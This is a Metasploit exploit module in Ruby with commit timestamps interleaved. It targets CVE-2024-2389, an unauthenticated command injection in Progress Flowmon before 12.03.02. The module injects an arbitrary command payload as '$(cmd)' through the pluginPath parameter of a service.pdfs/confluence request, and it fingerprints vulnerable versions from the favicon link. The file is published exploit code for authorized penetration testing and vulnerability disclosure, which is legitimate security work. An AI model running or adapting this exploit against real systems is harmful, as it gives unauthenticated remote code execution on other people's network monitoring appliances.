2024-05-01 08:42:55 -07:00
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf :: Exploit :: Remote
Rank = ExcellentRanking
include Msf :: Exploit :: Remote :: HttpClient
prepend Msf :: Exploit :: Remote :: AutoCheck
def initialize ( info = { } )
super (
update_info (
info ,
'Name' = > 'Flowmon Unauthenticated Command Injection' ,
'Description' = > %q{
This module exploits an unauthenticated command injection vulnerability in Progress Flowmon
versions before v12.03.02.
} ,
'Author' = > [
'Dave Yesland with Rhino Security Labs' ,
] ,
'License' = > MSF_LICENSE ,
'References' = > [
[ 'CVE' , '2024-2389' ] ,
[ 'URL' , 'https://rhinosecuritylabs.com/research/cve-2024-2389-in-progress-flowmon/' ] ,
[ 'URL' , 'https://support.kemptechnologies.com/hc/en-us/articles/24878235038733-CVE-2024-2389-Flowmon-critical-security-vulnerability' ]
] ,
'DisclosureDate' = > '2024-04-23' ,
'Notes' = > {
'Stability' = > [ CRASH_SAFE ] ,
'SideEffects' = > [ IOC_IN_LOGS , ARTIFACTS_ON_DISK ] ,
'Reliability' = > [ REPEATABLE_SESSION ]
} ,
'Platform' = > [ 'unix' , 'linux' ] ,
'Arch' = > [ ARCH_CMD ] ,
'Targets' = > [ [ 'Automatic' , { } ] ] ,
'Privileged' = > false ,
'DefaultOptions' = > {
'SSL' = > true ,
'RPORT' = > 443
}
)
)
register_options ( [
OptString . new ( 'TARGETURI' , [ true , 'The URI path to Flowmon' , '/' ] )
] )
end
def execute_command ( cmd )
send_request_cgi (
'uri' = > normalize_uri ( datastore [ 'TARGETURI' ] , 'service.pdfs' , 'confluence' ) ,
'method' = > 'GET' ,
'vars_get' = > {
2024-05-23 14:02:28 -04:00
'file' = > rand_text_alphanumeric ( 8 ) ,
'lang' = > rand_text_alphanumeric ( 8 ) ,
2024-05-01 08:42:55 -07:00
'pluginPath' = > " $( #{ cmd } ) "
}
)
end
def exploit
print_status ( 'Attempting to execute payload...' )
execute_command ( payload . encoded )
end
def check
print_status ( " Checking if #{ peer } can be exploited! " )
uri = normalize_uri ( target_uri . path , 'homepage/auth/login' )
res = send_request_cgi (
'uri' = > uri ,
'method' = > 'GET'
)
2024-05-23 14:02:28 -04:00
return CheckCode :: Unknown ( 'Connection failed' ) unless res
2024-05-28 16:29:55 -04:00
return CheckCode :: Safe ( 'Target does not appear to be running Progress Flowmon' ) unless res . code == 200 && res . get_html_document . xpath ( '//title' ) . text == 'Flowmon Web Interface'
2024-05-01 08:42:55 -07:00
# Use a regular expression to extract the version number from the response
version = res . body . match ( %r{ /favicon \ .ico \ ?v=([ \ d.]+) } )
2024-05-23 14:02:28 -04:00
return CheckCode :: Unknown ( 'Unable to determine the version from the favicon link.' ) unless version && version [ 1 ]
2024-05-01 08:42:55 -07:00
print_status ( " Detected version: #{ version [ 1 ] } " )
if Rex :: Version . new ( version [ 1 ] ) < = Rex :: Version . new ( '12.03.02' )
2024-05-23 14:02:28 -04:00
CheckCode :: Vulnerable ( " Version #{ version [ 1 ] } is vulnerable. " )
2024-05-01 08:42:55 -07:00
else
2024-05-23 14:02:28 -04:00
CheckCode :: Safe ( " Version #{ version [ 1 ] } is not vulnerable. " )
2024-05-01 08:42:55 -07:00
end
end
end